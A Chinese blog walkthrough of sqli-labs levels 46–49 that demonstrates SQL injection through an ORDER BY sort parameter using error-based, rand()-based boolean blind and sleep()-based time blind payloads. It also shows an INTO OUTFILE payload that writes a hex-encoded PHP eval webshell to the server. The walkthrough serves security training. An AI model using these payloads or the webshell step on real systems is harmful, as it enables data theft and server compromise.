前言

前几关和后几关都是叠加注入…我就不写了,感觉没什么意思.就以上次的强网杯为例就好了吧…

接下来这几关都是order by语句与limit语句的相关注入,还是很实用的,尤其是对于一些会显示表格的网站,他们的 URL 中通常都会有sortlimit两个参数。

Less-46

这关获取了sort

$id=$_GET['sort'];    

尝试sort=1 ascsort=1 desc,分别显示升序和降序的表格,说明此处是注入点,即注入点在order by后的参数中,而order by不同于在where后的注入,不能使用union等进行注入。

注入语句可以如下

?sort=(select ······)
?sort=1 and (select ······)
?sort=rand(······)

报错注入

输入?sort=1'报错回显,我们可以用报错注入

?sort=1 and (select count(*) from information_schema.tables group by concat((select database()),floor(rand(0)*2)))--+

?sort=1 and (select count(*) from information_schema.tables group by concat((select table_name from information_schema.tables where table_schema=database() limit 0,1),floor(rand(0)*2)))--+

其他按照报错流程来就可以了

Bool盲注

Mysql也是弱类型,true=1,false=0

img

可以进行布尔盲注,我们可以利用rand()根据回显来判断T还是F

前面已经提过如果给rand()传入一个参数,会以这个为种子,产生的是相同的

也就是说我们可以通过?sort=rand(语句),如果和?sort=rand(true)相同,则为对,若和?sort=rand(false)相同,则为错

结合前面的布尔盲注,可构造paylaod

?sort=rand(left((select database()),1)='s')
img

?sort=rand(true),说明数据库第一个为's'

img

我们这里尝试错的数据,可发现和以上的图片不同

img

原理大概就是这样子了,具体操作和Bool盲注一样,这里就不展开来讲了

Time盲注

?sort=if((left((select database()),1)='s'),sleep(0.5),0)

我吐了,这里一开始试了sleep(5),他跑了42秒…

img

查了相关资料:

添加sleep(N)这个函数后,语句的执行具体会停留多长时间取决于满足条件的记录数,MySQL会对每条满足条件的记录停留N秒钟。

但是以前怎么没遇到???而且我这个database()只有一个吧…不太懂

into outfile 参数注入

?sort=1 into outfile "C:\\ProgramData\\MySQL\\MySQL Server 5.7\\Uploads\\cmd.php" lines terminated by 0x3c3f706870206576616c28245f504f53545b22636d64225d293b3f3e

注意这里文件位置要`\\`,这种,因为会转义...
其中lines terminates by将每行以指定字符串结尾:
而0x3c3f706870206576616c28245f504f53545b22636d64225d293b3f3ehex=hex(<?php eval($_POST["cmd"]);?>)

这样就可以上传一句话木马了(权限要够)

Less-47

Less-46差不多,单引号闭合

Less-48

Less-46差不多,但是不能报错回显,用其他方法就好了

Less-49

Less-47差不多,但是不能报错回显,用其他方法就好了

说点什么
评论之后转圈圈也不用管,要批准之后才能显示,谢谢
支持Markdown语法
好耶,沙发还空着ヾ(≧▽≦*)o
Loading...